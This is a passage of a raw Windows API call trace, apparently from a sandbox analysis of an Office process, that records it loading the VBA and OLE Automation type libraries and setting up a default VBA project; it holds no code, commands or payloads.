ppTLibAttr=0x306a20, pDummy=0x10 | out: ppTLibAttr=0x306a20, pDummy=0x10) returned 0x0 [0018.346] ITypeLib:RemoteGetDocumentation (in: This=0x7919520, index=-1, refPtrFlags=0x0, pbstrName=0x306a18, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68752a9f12ce | out: pbstrName=0x306a18*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68752a9f12ce) returned 0x0 [0018.346] StringFromGUID2 (in: rguid=0x75c9470*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x306a40, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0018.346] _ultow_s (in: _Value=0x4, _Buffer=0x30698a, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0018.346] _ultow_s (in: _Value=0x2, _Buffer=0x30698e, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0018.346] _ultow_s (in: _Value=0x9, _Buffer=0x306992, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0018.346] wcscpy_s (in: _Destination=0x2d14f08, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0018.346] wcscpy_s (in: _Destination=0x2d14f0e, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0018.346] wcscpy_s (in: _Destination=0x2d14f5a, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0018.346] wcscpy_s (in: _Destination=0x2d14f68, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0018.346] wcscpy_s (in: _Destination=0x2d14fee, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0018.346] ITypeLib:LocalReleaseTLibAttr (This=0x7919520) returned 0x0 [0018.346] wcscpy_s (in: _Destination=0x79beaf8, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0018.347] ITypeLib:RemoteGetDocumentation (in: This=0x7919520, index=-1, refPtrFlags=0x306b38, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3) returned 0x0 [0018.347] SysStringLen (param_1="VBA") returned 0x3 [0018.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0018.347] SysStringLen (param_1="VBA") returned 0x3 [0018.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x781fb98, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0018.347] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0018.347] strcpy_s (in: _Dst=0x306930, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0018.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x306930, cbMultiByte=4, lpWideCharStr=0x306780, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0018.347] IUnknown:AddRef (This=0x7346470) returned 0x5 [0018.347] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="VBA", lHashVal=0x10e2f7, pfName=0x306850, pBstrLibName=0x306780 | out: pfName=0x306850*=0, pBstrLibName=0x306780) returned 0x0 [0018.347] IUnknown:Release (This=0x7346470) returned 0x4 [0018.347] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xc) returned 0x75471a0 [0018.347] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c320) [0018.347] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c320 [0018.347] IMalloc:Free (This=0x7fefe9e5380, pv=0x75471a0) [0018.347] wcsncpy_s (in: _Destination=0x306730, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0018.347] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0018.347] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x122) returned 0xbb06c10 [0018.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xbb06c10, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0018.347] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb06c10) [0018.347] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0018.347] wcsncpy_s (in: _Destination=0x306730, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.347] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x306660, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.347] _wcsicmp (_String1="*\\Z055bf1acda", _String2="*\\Z055bf1acda") returned 0 [0018.347] IUnknown:AddRef (This=0x7919520) returned 0x4 [0018.347] IUnknown:QueryInterface (in: This=0x7919520, riid=0x7fef10564b8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306b58 | out: ppvObject=0x306b58*=0x0) returned 0x80004002 [0018.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x306b20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0018.347] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0018.347] IUnknown:Release (This=0x7919520) returned 0x3 [0018.347] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8080 [0018.347] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x79f8080) returned 0x0 [0018.347] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8070 [0018.347] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x79f8070) returned 0x0 [0018.347] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8090 [0018.347] qsort (in: _Base=0x79f8090, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7fef0e1db70 | out: _Base=0x79f8090) [0018.347] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f8090) [0018.347] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x75471a0 [0018.347] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xc) returned 0x7541e40 [0018.347] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x7541e40) returned 0xc [0018.347] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win16") returned 0x107ec1 [0018.347] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win32") returned 0x107f07 [0018.347] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win64") returned 0x107f78 [0018.347] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mac") returned 0x10b2b3 [0018.348] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA6") returned 0x1023ad [0018.348] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA7") returned 0x1023ae [0018.348] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f8070) [0018.348] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f8080) [0018.348] CoCreateGuid (in: pguid=0x307208 | out: pguid=0x307208*(Data1=0xe19686b0, Data2=0x6893, Data3=0x4f4d, Data4=([0]=0x94, [1]=0xb6, [2]=0x89, [3]=0xa1, [4]=0x59, [5]=0xd8, [6]=0xd3, [7]=0x76))) returned 0x0 [0018.348] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x6b0) returned 0xbb7ef00 [0018.348] CoCreateGuid (in: pguid=0x7a20c48 | out: pguid=0x7a20c48*(Data1=0x1f0aa746, Data2=0x81e, Data3=0x4e1f, Data4=([0]=0x9a, [1]=0xeb, [2]=0x3b, [3]=0x6, [4]=0x3d, [5]=0xe2, [6]=0x17, [7]=0x74))) returned 0x0 [0018.348] strcpy_s (in: _Dst=0x7a20ca8, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0018.348] LoadStringA (in: hInstance=0x7fef0c90000, uID=0x32f3, lpBuffer=0xa24abc8, cchBufferMax=128 | out: lpBuffer="Project") returned 0x7 [0018.372] wsprintfA (in: param_1=0xa24abcf, param_2="%d" | out: param_1="1") returned 1 [0018.372] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0018.372] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781fb98, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0018.372] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0018.372] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781fb98, cbMultiByte=8, lpWideCharStr=0x75c9478, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0018.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=-1, lpMultiByteStr=0x307df0, cbMultiByte=129, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0018.373] lstrlenA (lpString="Project") returned 7 [0018.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa24abc8, cbMultiByte=-1, lpWideCharStr=0x307ee0, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0018.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x307dd0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0018.373] lstrcmpiA (lpString1="", lpString2="Project1") returned -1 [0018.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0018.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x307cd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0018.373] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0018.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x307be0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0018.373] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0018.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x307be0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0018.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x307aa0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0018.373] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0018.373] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0018.373] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x7545f40 [0018.373] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c320) [0018.373] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c320 [0018.373] IMalloc:Free (This=0x7fefe9e5380, pv=0x7545f40) [0018.373] wcsncpy_s (in: _Destination=0x3078a0, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.373] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x3077d0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.373] _wcsicmp (_String1="*\\Z055bf1acda", _String2="*\\Z055bf1acda") returned 0 [0018.373] strcpy_s (in: _Dst=0x7a20cb8, _DstSize=0x9, _Src="Project1" | out: _Dst="Project1") returned 0x0 [0018.373] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0018.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781fb98, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0018.373] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0018.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781fb98, cbMultiByte=9, lpWideCharStr=0x75c9478, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0018.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x307d00, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0018.373] lstrlenA (lpString="Project1") returned 8 [0018.375] lstrlenA (lpString="C:\\Windows\\system32\\stdole2.tlb") returned 31 [0018.376] lstrcpyA (in: lpString1=0xa247b20, lpString2="C:\\Windows\\system32\\stdole2.tlb" | out: lpString1="C:\\Windows\\system32\\stdole2.tlb") returned="C:\\Windows\\system32\\stdole2.tlb" [0018.376] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x307db8*=0x0 | out: pptlib=0x307db8*=0x7345930) returned 0x0 [0018.376] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x307a48*=0x0 | out: pptlib=0x307a48*=0x7345930) returned 0x0 [0018.376] ITypeLib:RemoteGetDocumentation (in: This=0x7345930, index=-1, refPtrFlags=0x307a68, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0018.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x307950, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0018.376] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0018.376] IUnknown:QueryInterface (in: This=0x7345930, riid=0x7fef1056290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307928 | out: ppvObject=0x307928*=0x0) returned 0x80004002 [0018.377] GetLocalTime (in: lpSystemTime=0x3077d0 | out: lpSystemTime=0x3077d0*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x2a7)) [0018.377] wcsncpy_s (in: _Destination=0x307480, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.377] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x3073b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.377] _wcsicmp (_String1="*\\Z055bf1acda", _String2="*\\Z055bf1acda") returned 0 [0018.377] IUnknown:QueryInterface (in: This=0x7345930, riid=0x7fef1056290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307858 | out: ppvObject=0x307858*=0x0) returned 0x80004002 [0018.377] ITypeLib:RemoteGetLibAttr (in: This=0x7345930, ppTLibAttr=0x307850, pDummy=0x10 | out: ppTLibAttr=0x307850, pDummy=0x10) returned 0x0 [0018.377] ITypeLib:RemoteGetDocumentation (in: This=0x7345930, index=-1, refPtrFlags=0x0, pbstrName=0x307848, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x307848*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0018.377] StringFromGUID2 (in: rguid=0x75c9470*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x307870, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0018.377] _ultow_s (in: _Value=0x2, _Buffer=0x3077ba, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0018.377] _ultow_s (in: _Value=0x0, _Buffer=0x3077be, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0018.377] _ultow_s (in: _Value=0x0, _Buffer=0x3077c2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0018.377] wcscpy_s (in: _Destination=0x7aca378, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0018.377] wcscpy_s (in: _Destination=0x7aca37e, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0018.377] wcscpy_s (in: _Destination=0x7aca3ca, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0018.377] wcscpy_s (in: _Destination=0x7aca3d8, _SizeInWords=0x2f, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0018.377] wcscpy_s (in: _Destination=0x7aca418, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0018.377] ITypeLib:LocalReleaseTLibAttr (This=0x7345930) returned 0x0 [0018.377] wcscpy_s (in: _Destination=0xbb7f858, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0018.377] ITypeLib:RemoteGetDocumentation (in: This=0x7345930, index=-1, refPtrFlags=0x307968, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0018.377] SysStringLen (param_1="stdole") returned 0x6 [0018.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0018.377] SysStringLen (param_1="stdole") returned 0x6 [0018.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x7542728, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0018.377] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0018.377] strcpy_s (in: _Dst=0x307760, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0018.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307760, cbMultiByte=7, lpWideCharStr=0x3075b0, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0018.377] IUnknown:AddRef (This=0x7919520) returned 0x4 [0018.377] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="stdole", lHashVal=0x106093, pfName=0x307680, pBstrLibName=0x3075b0 | out: pfName=0x307680*=0, pBstrLibName=0x3075b0) returned 0x0 [0018.377] IUnknown:Release (This=0x7919520) returned 0x3 [0018.377] IUnknown:AddRef (This=0x7346470) returned 0x5 [0018.377] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="stdole", lHashVal=0x106093, pfName=0x307680, pBstrLibName=0x3075b0 | out: pfName=0x307680*=0, pBstrLibName=0x3075b0) returned 0x0 [0018.377] IUnknown:Release (This=0x7346470) returned 0x4 [0018.377] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x24) returned 0x781c110 [0018.377] IMalloc:Free (This=0x7fefe9e5380, pv=0x79ae8e0) [0018.377] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c2f0 [0018.378] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c110) [0018.378] wcsncpy_s (in: _Destination=0x307560, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0018.378] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0018.378] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xbe) returned 0x7a8c830 [0018.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x7a8c830, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0018.378] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a8c830) [0018.378] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0 [0018.378] wcsncpy_s (in: _Destination=0x307560, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.378] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x307490, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.378] _wcsicmp (_String1="*\\Z055bf1acda", _String2="*\\Z055bf1acda") returned 0 [0018.378] IUnknown:AddRef (This=0x7345930) returned 0x7 [0018.378] IUnknown:QueryInterface (in: This=0x7345930, riid=0x7fef10564b8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307988 | out: ppvObject=0x307988*=0x0) returned 0x80004002 [0018.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x307950, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0018.378] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0018.378] IUnknown:Release (This=0x7345930) returned 0x6 [0018.378] IUnknown:Release (This=0x7345930) returned 0x5 [0018.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307cf0, cbMultiByte=-1, lpWideCharStr=0x307c50, cchWideChar=69 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\\3") returned 69 [0018.381] lstrlenA (lpString="VBE") returned 3 [0018.381] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 37 [0018.381] _msize (_Block=0xa247b20) returned 0x26 [0018.381] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 37 [0018.381] lstrlenA (lpString="VBE") returned 3 [0018.381] _msize (_Block=0xa247b50) returned 0x26 [0018.381] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 37 [0018.381] lstrlenA (lpString="VBE") returned 3 [0018.381] lstrcatA (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpString2="VBE" | out: 